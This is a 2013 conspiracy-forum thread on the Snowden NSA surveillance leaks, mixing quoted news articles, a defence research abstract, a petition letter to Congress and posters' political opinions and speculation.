lets say i want to hedge against the dollar.some nsa agent could use that to bankrupt me.and make himself filthier rich than he already is.
its time to end big gov.
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 10:55:15 am
(https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/999534_470013589752654_1691621056_n.jpg)
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 10:59:49 am
"The Government Spooks Are Drunk With Power!" Congressman Ted Poe

[youtube]6Z968_74B98[/youtube]
Title: Re: they know what you are doing
Post by: Somamech on June 12, 2013, 11:31:10 am
I found this Doc a few years ago on the Aussie Gov Website linked to Defense Research, and oddly they haven't taken this one off the web unlike that Lithium Dump into Atmosphere Doc I found when I was more happy yesteryear ;)  ;D

The Use of Systemic-Functional Linguistics in Automated Text Mining.

Quote
Scientific Publication

Report Number:
    DSTO-RR-0339
Authors:
    Kappagoda, A.
Issue Date:
    2009-03
AR Number:
    AR-014-419
Classification:
    Unclassified
Report Type:
    Research Report
Division:
    Command, Control, Communication and Intelligence Division (C3ID)
Release Authority:
    Chief, Command, Control, Communication and Intelligence Division
Task Sponsor:
    ASCP; EXEC DIR CTSTC
Task Number:
    INT 07/020
File Number:
    2009/1016253/1
Pages:
    82
References:
    38
Terms:
    Information extraction; Machine learning
URI:
    http://hdl.handle.net/1947/9900

Abstract

Quote
Systemic-functional linguistics is a linguistic framework for the analysis of grammatical and semantic information in text, with a potential role in automated text mining. This report outlines essential features of the theory, its application in computational work, and the rationale for use in automated text mining, and develops a grammatical annotation scheme– word functions– to enrich a mixed text corpus of newspaper articles and e-mails, for machine learning of semantically-oriented grammatical patterns. Testing demonstrates high accuracy in predicting word functions in unseen text in co-training with other grammatical information, providing the basis for further grammatical and semantic text processing.


Executive Summary

Quote
Using grammatical and semantic patterns as the basis for large-scale text processing has wide potential to improve the quality and speed of information management and analytical tasks in the defence and intelligence domains. It is proposed that a robust linguistic model is needed to support the automation of these tasks, which is achieved by co-training semantic and grammatical information with unstructured text, and that systemic-functional linguistics (SFL) provides a prime means for achieving this. SFL is a linguistic theory that has had a substantial presence in natural language processing work for the past 40 years, with recent developments in rule-based and machine learning (ML)- based text processing. An outline of the theoretical apparatus of SFL is presented, focusing on a detailed treatment of the functional structure of word groups and phrases. This is used to derive a grammatical annotation scheme for the labelling of the functions of single tokens in unstructured text (WFG). A justification for using this scheme is presented, and a method is outlined for the preprocessing of unstructured text and for annotation with the WFG scheme, in order to produce training and testing corpora for a ML system employing the 'conditional random fields' algorithm. It is demonstrated via this system that automated WFG annotation can be achieved with high accuracy, and that such labelling supports the automated recognition of other grammatical information such as chunk labelling. It is proposed that WFG annotation provides a robust semantically-oriented foundation for other kinds of semantically-based text processing, such as information extraction and text categorisation, which are important elements in information management in defence and intelligence tasks.



SOURCE:


http://www.dsto.defence.gov.au/publications/scientific_record.php?record=9900



Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 11:39:54 am
Michael Savage Defends NSA Whistleblower, Edward Snowden, Hero and True Patriot,

[youtube]4C9ALGjG-Iw[/youtube]
Title: Re: they know what you are doing
Post by: Somamech on June 12, 2013, 11:41:06 am
Local councils snooping on phone use

LOCAL councils are seizing data from residents' mobile phones without warrants to chase unregistered pets, illegal rubbish dumping and unauthorised advertising.

Quote
Federal surveillance laws enable enforcement agencies -- such as police, corruption watchdogs and the Australian Taxation Office -- to seize telecommunications data to conduct criminal investigations, enforce fines or protect public revenue. But the laws are increasingly being used by other public bodies, such as local governments and Australia Post, which have collectively made more than 800 self-authorisations for personal data in the past three financial years.

Telecommunications data, which is often described as "metadata", includes the names and addresses of telephone users and lists of their calls, text messages and emails. It also includes users' locations at the time they make a call, but does not include the text or audio of communications.

SOURCE:

http://www.theaustralian.com.au/australian-it/councils-snooping-on-phone-use/story-e6frgakx-1226579848017

Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 12:12:14 pm
Obama Holds Secret Press Meeting to Control Reports About NSA Leak

(http://www.occupycorporatism.com/wp-content/uploads/2013/06/susanne_posel_news_-enhanced-buzz-12095-1370975431-8-300x216.jpg)

Quote
Susanne Posel
Occupy Corporatism
June 12, 2013



Reporters were invited to a secret meeting with President Obama to corroborate how the leak concerning the NSA’s PRISM program will be dealt with in the mainstream media (MSM).

Referred to as a routine “background briefing session”; however the details of this meeting were to remain unspoken and reporters who attended the meeting was not forthcoming with details of what was discussed.

Reporters from many of the most influential MSM outlets were in attendance:

• New York Times
• Washington Post
• Huffington Post
• Time
• McClatchy
• Politico
• Tribune
• NPR
• Bloomberg
• USA Today
• AFP
• Yahoo

At an annual banquet of the Intelligence and national Security Alliance, James Clapper, director of National Intelligence, joked about recent comments he made regarding the NSA leak.

Clapper called it the “elephant in the room” regarding ““the unauthorized leaks as reprehensible and egregious.”

Clapper joked that: “Some of you expressed surprise that I showed up—so many emails to read!”

Russian President Vladimir Putin remarked that data surveillance “methods are in demand. But you can’t just listen to the phone call in Russia; you need a special order from court. This is how this should be done in civilized society while tackling terrorism with the use of any technical means. If it is in the framework of the law, then it’s ok. If not it is unacceptable.”

Dmitry Peskov, press secretary for Putin said that should his government receive a request from Edward Snowden, National Security Agency (NSA) whistleblower, for asylum “we will consider it.”

Snowden remarked that it is his “predisposition is to seek asylum in a country with shared values.”

House Speaker John Boehner said that Snowden is a “traitor. “The disclosure of this information puts Americans at risk. It shows our adversaries what our capabilities are. And it’s a giant violation of the law.”

Boehner said that the NSA surveillance programs being used by the Obama administration are “important national security programs to help keep Americans safe, and give us tools to fight the terrorist threat that we face. The president also outlined that there are appropriate safeguards in place to make sure that there’s no snooping, if you will, on Americans here at home.”

Boehner claims that there is “heavy oversight of this program by the House Intelligence Committee on a bipartisan basis and the Senate Intelligence Committee. And that’s why I feel comfortable that we can operate this program and protect the privacy rights of our citizens.”

http://www.occupycorporatism.com/obama-holds-secret-press-meeting-to-control-reports-about-nsa-leak/

[youtube]GIgUVExgDeo[/youtube]

Quote
The MSM portrays the revelation that the NSA is monitoring Americans through digital communications as a divide between Republican and Democrat ideology.

House Representative Steny Hoyer stands with the Obama administration and the surveillance programs fronted by the NSA. In response to whistleblower Snowden, Hoyer said: “This certainly compromises the intelligence gathering abilities of the United States and to that extent is helpful to … those who would cause us harm.”

David Drummond, lawyer for Google, wrote a letter to Attorney General Eric Holder and Robert Mueller, director of the Federal Bureau of Investigations (FBI) that demanded the federal government publically disclose the number of National Security Letters sent to Google that request user data for surveillance purposes.

According to the letter: “Assertions in the press that our compliance with these requests gives the U.S. government unfettered access to our users’ data are simply untrue. However, government nondisclosure obligations regarding the number of FISA national security requests that Google receives, as well as the number of accounts covered by those requests, fuel that speculation.”

The letter continues: “We therefore ask you to help make it possible for Google to publish in our Transparency Report aggregate numbers of national security requests, including FISA disclosures—in terms of both the number we receive and their scope. Google’s numbers would clearly show that our compliance with these requests falls far short of the claims being made. Google has nothing to hide.”

Senators Ron Wyden and Jeff Merkley have introduced a bill to force the Obama administration to declassify Foreign Intelligence Surveillance Court (FISC) opinions that legalize the monitoring of Americans.

MSM reports that this bill is dead before it is given a chance for review because elected officials will “just say no” to having such legislation on the books.

http://www.occupycorporatism.com/obama-holds-secret-press-meeting-to-control-reports-about-nsa-leak/
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 12:17:49 pm
Snowden saw what I saw: surveillance criminally subverting the constitution

(http://i.guim.co.uk/n/sys-images/Guardian/Pix/pictures/2013/6/12/1370992426900/tomdrake_460x276.jpg)
Thomas Drake, NSA whistleblower, in a still from the Robert Greenwald documentary War on Whistleblowers. Photograph: guardian.co.uk

Quote
So we refused to be part of the NSA's dark blanket. That is why whistleblowers pay the price for being the backstop of democracy

What Edward Snowden has done is an amazingly brave and courageous act of civil disobedience.

Like me, he became discomforted by what he was exposed to and what he saw: the industrial-scale systematic surveillance that is scooping up vast amounts of information not only around the world but in the United States, in direct violation of the fourth amendment of the US constitution.

The NSA programs that Snowden has revealed are nothing new: they date back to the days and weeks after 9/11. I had direct exposure to similar programs, such as Stellar Wind, in 2001. In the first week of October, I had an extraordinary conversation with NSA's lead attorney. When I pressed hard about the unconstitutionality of Stellar Wind, he said:

    "The White House has approved the program; it's all legal. NSA is the executive agent."

It was made clear to me that the original intent of government was to gain access to all the information it could without regard for constitutional safeguards. "You don't understand," I was told. "We just need the data."

http://m.guardiannews.com/commentisfree/2013/jun/12/snowden-surveillance-subverting-constitution
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 12:20:29 pm
Bush Lets U.S. Spy on Callers Without Courts

(http://graphics8.nytimes.com/images/2005/12/16/international/16program_650.jpg)


Quote
By JAMES RISEN and ERIC LICHTBLAU
Published: December 16, 2005

 WASHINGTON, Dec. 15 - Months after the Sept. 11 attacks, President Bush secretly authorized the National Security Agency to eavesdrop on Americans and others inside the United States to search for evidence of terrorist activity without the court-approved warrants ordinarily required for domestic spying, according to government officials.

Under a presidential order signed in 2002, the intelligence agency has monitored the international telephone calls and international e-mail messages of hundreds, perhaps thousands, of people inside the United States without warrants over the past three years in an effort to track possible "dirty numbers" linked to Al Qaeda, the officials said. The agency, they said, still seeks warrants to monitor entirely domestic communications.

The previously undisclosed decision to permit some eavesdropping inside the country without court approval was a major shift in American intelligence-gathering practices, particularly for the National Security Agency, whose mission is to spy on communications abroad. As a result, some officials familiar with the continuing operation have questioned whether the surveillance has stretched, if not crossed, constitutional limits on legal searches.

"This is really a sea change," said a former senior official who specializes in national security law. "It's almost a mainstay of this country that the N.S.A. only does foreign searches."

http://www.nytimes.com/2005/12/16/politics/16program.html?scp=1&sq=James%20Risen%20nsa%20surveillance&st=cse&_r=1&
Title: Re: they know what you are doing
Post by: sky otter on June 12, 2013, 01:27:08 pm


12 June 2013 Last updated at 13:38 ET Share this pageEmail Print Share this page

US whistleblower Edward Snowden 'will fight extradition'

Edward Snowden (picture courtesy of the Guardian) says he wants Hong Kong to decide his fate


The ex-CIA employee who leaked secret US surveillance details has vowed in an interview to fight any attempt to extradite him from Hong Kong.

Edward Snowden told the South China Morning Post: "I'm neither traitor nor hero. I'm an American."

It is the first interview he has given since disappearing from his hotel room in Hong Kong on Monday.

His leaks led to revelations that the US is systematically seizing vast amounts of phone and web data.

Mr Snowden left Hawaii for Hong Kong shortly before the highly sensitive leaks surfaced.

I do not currently feel safe due to the pressure the US government is applying to Hong Kong”
 
Edward Snowden
 "I am not here to hide from justice; I am here to reveal criminality," Mr Snowden told the Post, which said the interview was carried out in a secret location in Hong Kong.

"My intention is to ask the courts and people of Hong Kong to decide my fate."

US 'bullying'

The information leaked by Mr Snowden has undoubtedly angered the US government, but so far he has not been charged by the authorities, nor is he the subject of an extradition request.

Hong Kong has an extradition treaty with the US, although analysts say any attempts to bring Mr Snowden to America may take months and could be blocked by Beijing.

The Post quoted Mr Snowden as saying that he had several opportunities to leave Hong Kong, but that he "would rather stay and fight the United States government in the courts, because I have faith in Hong Kong's rule of law."

He also accused Washington of "bullying the Hong Kong government".

"I do not currently feel safe due to the pressure the US government is applying to Hong Kong, but I feel that Hong Kong itself has a strong civil tradition that whistleblowers should not fear," he said.

And when asked whether he had been offered asylum by Russia, he replied: "My only comment is that I am glad there are governments that refuse to be intimidated by great power".

After Mr Snowden's leaks, which led to a series of articles in the Guardian and Washington Post newspapers, US officials confirmed the existence of a secret programme to draw data from the internet, codenamed Prism.

The Office of the Director of National Intelligence gave details of the programme last week.

According to the office's statement, Prism is simply an internal computer system, and not a data-mining programme.

But Washington is coming under increasing pressure from many different quarters to end the practice.

The American Civil Liberties Union filed a lawsuit on Tuesday, challenging the legality of the programme.

Separately, a coalition of more than 80 rights groups and internet companies have launched a website, StopWatching.Us, which has called on Congress to launch a full investigation.

And the EU's justice commissioner has written to the US attorney general, questioning him about Prism, and saying she was concerned America's efforts "could have grave adverse consequences for the fundamental rights of EU citizens".

http://www.bbc.co.uk/news/world-asia-china-22878591

......................................................



https://optin.stopwatching.us/

Those who would give up essential Liberty, to purchase a little temporary Safety, deserve neither Liberty nor Safety.
Benjamin Franklin


 [The National Security Agency's] capability at any time could be turned around on the American people, and no American would have any privacy left, such is the capability to monitor everything: telephone conversations, telegrams, it doesn’t matter. There would be no place to hide.
Senator Frank Church, 1975


Stop Watching Us.
The revelations about the National Security Agency's surveillance apparatus, if true, represent a stunning abuse of our basic rights. We demand the U.S. Congress reveal the full extent of the NSA's spying programs.
Read the full letter to US Congress


Dear Members of Congress,

We write to express our concern about recent reports published in the Guardian and the Washington Post, and acknowledged by the Obama Administration, which reveal secret spying by the National Security Agency (NSA) on phone records and Internet activity of people in the United States.

The Washington Post and the Guardian recently published reports based on information provided by an intelligence contractor showing how the NSA and the FBI are gaining broad access to data collected by nine of the leading U.S. Internet companies and sharing this information with foreign governments. As reported, the U.S. government is extracting audio, video, photographs, e-mails, documents, and connection logs that enable analysts to track a person's movements and contacts over time. As a result, the contents of communications of people both abroad and in the U.S. can be swept in without any suspicion of crime or association with a terrorist organization.

Leaked reports also published by the Guardian and confirmed by the Administration reveal that the NSA is also abusing a controversial section of the PATRIOT Act to collect the call records of millions of Verizon customers. The data collected by the NSA includes every call made, the time of the call, the duration of the call, and other "identifying information" for millions of Verizon customers, including entirely domestic calls, regardless of whether those customers have ever been suspected of a crime. The Wall Street Journal has reported that other major carriers, including AT&T and Sprint, are subject to similar secret orders.

This type of blanket data collection by the government strikes at bedrock American values of freedom and privacy. This dragnet surveillance violates the First and Fourth Amendments of the U.S. Constitution, which protect citizens' right to speak and associate anonymously, guard against unreasonable searches and seizures, and protect their right to privacy.

We are calling on Congress to take immediate action to halt this surveillance and provide a full public accounting of the NSA's and the FBI's data collection programs. We call on Congress to immediately and publicly:

Enact reform this Congress to Section 215 of the USA PATRIOT Act,

the state secrets privilege, and the FISA Amendments Act to make clear that blanket surveillance of the Internet activity and phone records of any person residing in the U.S. is prohibited by law and that violations can be reviewed in adversarial proceedings before a public court;
Create a special committee to investigate, report, and reveal to the public the extent of this domestic spying. This committee should create specific recommendations for legal and regulatory reform to end unconstitutional surveillance;

Hold accountable those public officials who are found to be responsible for this unconstitutional surveillance.

Thank you for your attention to this matter.

Sincerely,


   
 * I agree to Mozilla's privacy policy and to having my information presented to US Congress in the form of a letter to be delivered by Fight for the Future (see its privacy policy).   I would like to receive e-mails from OpenMediaabout this and related issues. The OpenMediaprivacy policy is available here.  



.......................................................


11 June 2013 Last updated at 14:50 ET

Profile: Edward Snowden

http://www.bbc.co.uk/news/world-us-canada-22837100
Title: Re: they know what you are doing
Post by: Somamech on June 12, 2013, 01:55:39 pm
Does it really matter if everything is known about ourselves ?

Why are some so "Paranoid" about this ?

After all LIFE knows ALL anyway.

You can't HIDE anything !   :)

We only fear that everything is known about us, IF we have something to hide !

If everything is known about ME... then I am seen in TRUTH !

IF NOT then I am misunderstood !

The human species in fact has NO Control over LIFE at all.   :)

It is LIFE which Controls ALL, through its Written Programs,
yet to be understood in its True Context by most on Earth.

Hey Matrix Dude, in the context of what you are talking about OFC it doesn't matter ;)

But in this context, these people like to "Hinder" people like you who speak out!   ;D

Title: Re: they know what you are doing
Post by: petrus4 on June 12, 2013, 02:21:30 pm
(https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/999534_470013589752654_1691621056_n.jpg)

It's true.  The really amazing thing, is how someone with that level of integrity, ended up with that girlfriend and income in the first place. ;)
Title: Re: they know what you are doing
Post by: ArMaP on June 12, 2013, 04:39:18 pm
a}  The legislative branch must be abolished completely.  The people must vote directly on laws themselves, rather than them delegating a geriatric fascist cabal to do so for them.  The only truly democratic means of passing laws is by referendum.  Anything else is psychopathic fraud.  Anyone who responds to this point, by quoting any of the Constitution's authors to the effect that democracy is "mob rule," will be summarily and contemptuously ignored, as a victim of plutocratic mind control.
As far as I know, Switzerland is the only country that has frequent referendums, but even them, I suppose, do not use them for all their legislation.

PS: good post, some virtual gold for you. :)
Title: Re: they know what you are doing
Post by: sky otter on June 12, 2013, 05:00:57 pm

hey  some of you computer folk might even have known him before...


Edward Snowden As A Teen Online
Reuters  |  Posted: 06/12/2013 3:46 pm EDT  |  Updated: 06/12/2013 5:22 pm EDT

By Kristina Cooke and John Shiffman

SAN FRANCISCO/WASHINGTON, June 12 (Reuters) - Long before he became known worldwide as the NSA contractor who exposed top-secret U.S. government surveillance programs, Edward Snowden worked for a Japanese anime company run by friends and went by the nicknames "The True HOOHA" and "Phish."

In 2002, he was 18 years old, a high-school dropout and his parents had just divorced. On the tiny anime company's website, he wrote of his skills with video games and popularity with women.

As an adult, the former CIA employee has not left much of a digital trail on the Internet. Snowden, who turns 30 later this month, does not appear to be active on social media sites like Facebook or Twitter - at least not under his own name.

But the website of Ryuhana Press, a now defunct start-up that had sold anime art, offers a glimpse of Snowden as a youth. As its web editor, Snowden's profile page is a mix of truth, sarcasm and silly jokes.

For example, he listed his correct birthday - June 21, 1983 - and noted that it falls on the Summer Solstice, the longest day of the year. But he also claimed to be 37 years old and to have fathered two preteen children.

"I really am a nice guy," Snowden wrote on his profile page. "You see, I act arrogant and cruel because I was not hugged enough as a child, and because the public education system turned it's (sic) wretched, spiked back on me."

Reuters viewed the website on Tuesday and contacted former company employees for comment. On Wednesday, the website had been taken down.

Snowden wrote that he favored purple sunglasses and praised the Baltimore Orioles baseball team.

"I like my girlish figure that attracts girls," he wrote, "and I like my lamer friends. That's the best biography you'll get out of me, coppers!"

Photographs uploaded by friends for Snowden's 19th birthday show a young man pulling down his pants for his colleagues, putting a clothespin on his chest, and dancing. A blog entry from a company employee teased, "Who is he? What does he do? Does he really love himself as much as his shameless marketing would have you believe?"

Snowden wrote on his profile that he liked online role-playing games (RPG). "I always wanted to write RPG campaigns with my spare time, but I'll get about three missions in and scrap the world for my next, better, powergamin' build."

He joked that he "got bullied" into being an editor on the website by a gaggle of artists and "beautiful nubile young girls."

Snowden said he liked playing the popular fighting video game Tekken. He was so skilled that he attracted a gathering of fans at the 2002 Anime USA convention, wrote a co-worker on another part of the site. "He tends to spontaneously be a ray of sunshine and inspiration. He's a great listener, and he's eager to help people improve themselves."

The co-worker did not reply to inquiries from Reuters on Wednesday. Ryuhana closed in 2004 as the primary proprietors went off to college and opened a new business in California, according to the website. Other contributors to the site could not be reached for comment.

The defunct company listed an address in Fort Meade, Md., next door to the National Security Agency. (Editing by Tiffany Wu and Marilyn W. Thompson)



Title: Re: they know what you are doing
Post by: SarK0Y on June 12, 2013, 05:46:47 pm
I found this Doc a few years ago on the Aussie Gov Website linked to Defense Research, and oddly they haven't taken this one off the web unlike that Lithium Dump into Atmosphere Doc I found when I was more happy yesteryear ;)  ;D

The Use of Systemic-Functional Linguistics in Automated Text Mining.

Abstract


Executive Summary



SOURCE:


http://www.dsto.defence.gov.au/publications/scientific_record.php?record=9900
such systems been very dummy dumb, it can be easily misleading & avoided. :)
Title: Re: they know what you are doing
Post by: petrus4 on June 12, 2013, 08:57:58 pm
As far as I know, Switzerland is the only country that has frequent referendums, but even them, I suppose, do not use them for all their legislation.

PS: good post, some virtual gold for you. :)

Thank you, Armap. :D
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 13, 2013, 12:38:05 am
We also, have had referendums in NZ...   :)
Title: Re: they know what you are doing
Post by: zorgon on June 13, 2013, 01:06:24 am
So....

This guy made $200,000  a year for snooping on "We the peeps...
?

Where does I sign up?

 ::)

And now he is a hero for telling people what us poor conspiracy nuts have been saying and showing for over two decades

Life STINKS

LOL
Title: Re: they know what you are doing
Post by: zorgon on June 13, 2013, 01:37:43 am
ACLU sues Obama administration over NSA surveillance

http://videos.huffingtonpost.com/aclu-sues-over-nsa-phone-records-program-517814133

http://videos.huffingtonpost.com/aclu-sues-obama-administration-over-phone-surveillance-517814178


David Jackson, USA TODAY 6:47 p.m. EDT June 11, 2013

Quote
National Security Agency surveillance programs came under more scrutiny Tuesday as the American Civil Liberties Union filed a lawsuit and a prominent senator and Internet giant Google called on the Obama administration to disclose more information.

In its lawsuit, the ACLU said an NSA program that harvests phone calls violates the rights of all Americans.

"The program goes far beyond even the permissive limits set by the Patriot Act and represents a gross infringement of the freedom of association and the right to privacy," said Jameel Jaffer, the ACLU's deputy legal director.

Meanwhile, Google sought permission to disclose more details about another contested NSA program, one that allows the government to collect online information from non-U.S. citizens.

And Sen. Dianne Feinstein, D-Calif., who chairs the Senate Intelligence Committee, told reporters she has asked Gen. Keith Alexander — the head of the NSA and U.S. Cyber Command — to declassify more information about its phone and Internet surveillance programs.

The goal is "so that we can talk about them, because I think they're really helpful," she said.

The Guardian and Washington Post disclosed these programs last week, based on leaks from a former NSA contract employee.

http://www.usatoday.com/story/news/politics/2013/06/11/obama-aclu-lawsuit-national-security-agency-surveillance/2412885/

Title: Re: they know what you are doing
Post by: zorgon on June 13, 2013, 01:42:39 am
Daniel Ellsberg On NSA Spying: 'We're A Turnkey Away From A Police State'

(http://i.huffpost.com/gen/1187851/thumbs/r-DANIEL-ELLSBERG-large570.jpg)

Quote
BERKELEY, Calif. -- Famed Pentagon Papers leaker Daniel Ellsberg had harsh words for the Obama Administration during an event here Tuesday evening, charging that the rapid expansion of government surveillance since 9/11 has left the country "a turnkey away from a police state."

"We're not a police state yet, but the foundation has been set," he continued. "It could happen overnight."

Ellsberg, 82, is a former military analyst who became one of the most famous men in America when he leaked a top-secret government report on the Vietnam War to The New York Times in 1971. He has since been a patron saint to the civil liberties movement and is viewed by many as a predecessor of modern-day leakers like Bradley Manning and now Edward Snowden, the man who recently released evidence of the National Security Agency's covert phone records collection and Internet data mining.

http://www.huffingtonpost.com/2013/06/12/daniel-ellsberg-nsa-spying_n_3429694.html
Title: Re: they know what you are doing
Post by: SarK0Y on June 13, 2013, 01:45:14 am
So....

This guy made $200,000  a year for snooping on "We the peeps...
?

Where does I sign up?

 ::)

And now he is a hero for telling people what us poor conspiracy nuts have been saying and showing for over two decades

Life STINKS

LOL
it's no so huge monies :) + his payroll was $122k per annum, afaik.
Title: Re: they know what you are doing
Post by: zorgon on June 13, 2013, 02:17:19 am
it's no so huge monies :) + his payroll was $122k per annum, afaik.

Well its more than I have :P and I have been spying ion the spooks for free :D

Nice to see you back :D
Title: Re: they know what you are doing
Post by: robomont on June 13, 2013, 05:24:08 am
ive made 10000$ a month before.i can vouche.life is sweet.now i make 10000$a year and life almost sux bigtime.
that is the true haves and have nots.
thats why most wont ever leave the nsa.
i guess at the rate we are going,daddy when i grow up,i want to be government shill.
Title: Re: they know what you are doing
Post by: Gigas on June 13, 2013, 08:03:51 am
Clapper told some senate investigative committee, when asked if the NSA will be spying on citizens, no they will not, clapper responds.

SURPRISE!, yes they will. How they get around that question is they contract the spying out and simply inhale the information to a database program.
Title: Re: they know what you are doing
Post by: stealthyaroura on June 13, 2013, 10:19:46 am
A few years ago it was revealed that here in the UK at listening stations like Menwith hill & RAF irton moor where the echelon data mining computers/software are housed.

TPTB got really rich abusing the system to listen in on competing companies and there clients. They took the data they got and made Billions using insider Trading help.

I'm sure I read the people involved also used the computing power to play the stock markets to make even more cash.

One such company we're ENRON.Just read how they lived it up! obscene really.

I find it hard to believe this practice ever ceased!

Skipped a lot of the post's so sorry if it's been posted about.

ENRON: The Untold Story (http://archive.democrats.com/view.cfm?id=6076)

Menwith Hill it's so big it's actually a self contained village. UK owned and UK civilian residents help alongside the USA who RUN the site for the likes of NSA & GEOINT (space spooks).


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/menwith700.jpg)

Menwith Hill (http://www.google.co.uk/imgres?safe=off&hl=en&biw=1241&bih=577&tbm=isch&tbnid=EDS97ImSGc08hM:&imgrefurl=http://www.fas.org/irp/facility/menwith.htm&docid=zFdfItqVgp3KfM&imgurl)
Title: Re: they know what you are doing
Post by: sky otter on June 13, 2013, 01:57:34 pm


no fat lady singin yet...


Loretta Sanchez, Dem Rep, Says NSA Revelations Only 'The Tip Of The Iceberg' (VIDEO)
The Huffington Post  |  By Melissa Jeltsen Posted: 06/13/2013 4:11 pm EDT  |  Updated: 06/13/2013 4:16 pm EDT

Loretta Sanchez, Dem Rep, Says NSA Revelations Only 'The Tip Of The Iceberg' (VIDEO)
The Huffington Post  |  By Melissa Jeltsen Posted: 06/13/2013 4:11 pm EDT  |  Updated: 06/13/2013 4:16 pm EDT

Rep. Loretta Sanchez (D-Calif.) warned that the recent revelations on the government's clandestine national surveillance programs, brought to light by an NSA whistleblower, are just the "tip of the iceberg."
Sanchez spoke to CSPAN's "Washington Journal"
http://www.c-spanvideo.org/program/313247-4

 on Wednesday, after attending a briefing Tuesday with intelligence officials. While she said she couldn't repeat much of what she and other House members were told, she said they learned "significantly more" than what is currently being reported in the media.

"I believe it's just the tip of the iceberg," she said.

Last week, The Guardian published a bombshell report
http://www.guardian.co.uk/world/2013/jun/06/nsa-phone-records-verizon-court-order

 detailing how the U.S. government has been secretly collecting phone and Internet data. Edward Snowden, who came out as the individual responsible for the explosive leaks, is currently hiding in Hong Kong.
http://www.huffingtonpost.com/2013/06/13/edward-snowden-nsa_n_3433011.html

"I think it's just broader than most people even realize," Sanchez went on.

(h/t The Hill)
Title: Re: they know what you are doing
Post by: zorgon on June 15, 2013, 02:19:35 am
(https://sphotos-a.xx.fbcdn.net/hphotos-prn2/969653_521028217944979_1849978083_n.jpg)
Title: Re: they know what you are doing
Post by: zorgon on June 15, 2013, 02:44:55 am
Old article but VERY interesting...

How NSA access was built into Windows
 Duncan Campbell 04.09.1999


Quote
A CARELESS mistake by Microsoft programmers has revealed that special access codes prepared by the US National Security Agency have been secretly built into Windows. The NSA access system is built into every version of the Windows operating system now in use, except early releases of Windows 95 (and its predecessors). The discovery comes close on the heels of the revelations earlier this year that another US software giant, Lotus, had built an NSA "help information" trapdoor into its Notes system, and that security functions on other software systems had been deliberately crippled.

The first discovery of the new NSA access system was made two years ago by British researcher Dr Nicko van Someren. But it was only a few weeks ago when a second researcher rediscovered the access system. With it, he found the evidence linking it to NSA.

Computer security specialists have been aware for two years that unusual features are contained inside a standard Windows software "driver" used for security and encryption functions. The driver, called ADVAPI.DLL, enables and controls a range of security functions. If you use Windows, you will find it in the C:\Windows\system directory of your computer.

http://www.heise.de/tp/artikel/5/5263/1.html
Title: Re: they know what you are doing
Post by: zorgon on June 15, 2013, 02:45:13 am
(https://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-frc3/969709_574302132609717_1328571704_n.jpg)
Title: Re: they know what you are doing
Post by: sky otter on June 16, 2013, 06:38:44 am


in the beginning there was this...grrrrrrrrrrrrrrrrrr


U.S. surveillance architecture includes collection of revealing Internet, phone metadata
848Share to FacebookShare on TwitterAdd to PersonalPostSave to KindleShare via EmailPrint ArticleMoreBy Barton Gellman, Barton Gellman Jun 16, 2013 12:59 AM EDT


The Washington Post
Published: June 15E-mail the writer
On March 12, 2004, acting attorney general James B. Comey
http://www.washingtonpost.com/world/national-security/comey-in-line-to-become-fbi-director-officials-say/2013/05/29/7a730b0a-c8af-11e2-9f1a-1a7cdee20287_story.html
and the Justice Department’s top leadership reached the brink of resignation over electronic surveillance orders that they believed to be illegal.

President George W. Bush backed down, halting secret foreign-
intelligence-gathering operations that had crossed into domestic terrain. That morning marked the beginning of the end of STELLARWIND, the cover name for a set of four surveillance programs that brought Americans and American territory within the domain of the National Security Agency for the first time in decades. It was also a prelude to new legal structures that allowed Bush and then President Obama to reproduce each of those programs and expand their reach.

What exactly STELLARWIND did has never been disclosed in an unclassified form. Which parts of it did Comey approve? Which did he shut down? What became of the programs when the crisis passed and Comey, now Obama’s expected nominee for FBI director, returned to private life?

Authoritative new answers to those questions, drawing upon a classified NSA history of STELLARWIND and interviews with high-ranking intelligence officials, offer the clearest map yet of the Bush-era programs and the NSA’s contemporary U.S. operations.

STELLARWIND was succeeded by four major lines of intelligence collection in the territorial United States, together capable of spanning the full range of modern telecommunications, according to the interviews and documents.

Foreigners, not Americans, are the NSA’s “targets,” as the law defines that term. But the programs are structured broadly enough that they touch nearly every American household in some way. Obama administration officials and career intelligence officers say Americans should take comfort that privacy protections are built into the design and oversight, but they are not prepared to discuss the details.

The White House, the NSA and the Office of the Director of National Intelligence declined to comment on the record for this article. A senior intelligence official agreed to answer questions if not identified.

“We have rich oversight across three branches of government. I’ve got an [inspector general] here, a fairly robust legal staff here .?.?. and there’s the Justice Department’s national security division,” the official said. “For those things done under court jurisdiction, the courts are intrusive in my business, appropriately so, and there are two congressional committees. It’s a belts-and-suspenders-and-Velcro approach, and inside there’s rich auditing.”

But privacy advocates, such as Sen. Ron Wyden (D-Ore.), said the intelligence committee on which he serves needs “straight answers” to do vigorous oversight.

He added: “The typical person says, ‘If I am law-abiding and the government is out there collecting lots of information about me — who I call, when I call, where I call from’ .?.?. I think the typical person is going to say, ‘That sure sounds like it could have some effect on my privacy.’?”

Two of the four collection programs, one each for telephony and the Internet, process trillions of “metadata” records for storage and analysis in systems called MAINWAY
http://www.washingtonpost.com/world/national-security/call-records-of-fewer-than-300-people-were-searched-in-2012-us-says/2013/06/15/5e611cee-d61b-11e2-a73e-826d299ff459_story.html
and MARINA, respectively.

 Metadata
http://www.washingtonpost.com/world/national-security/metadata-reveals-the-secrets-of-social-position-company-hierarchy-terrorist-cells/2013/06/15/5058647c-d5c1-11e2-a73e-826d299ff459_story.html
includes highly revealing information about the times, places, devices and participants in electronic communication, but not its contents. The bulk collection of telephone call records from Verizon Business Services, disclosed this month by the British newspaper the Guardian, is one source of raw intelligence for MAINWAY.


The other two types of collection, which operate on a much smaller scale, are aimed at content. One of them intercepts telephone calls and routes the spoken words to a system called ­NUCLEON.

For Internet content, the most important source collection is the PRISM project

http://www.washingtonpost.com/investigations/us-intelligence-mining-data-from-nine-us-internet-companies-in-broad-secret-program/2013/06/06/3a0c0da8-cebf-11e2-8845-d970ccb04497_story.html

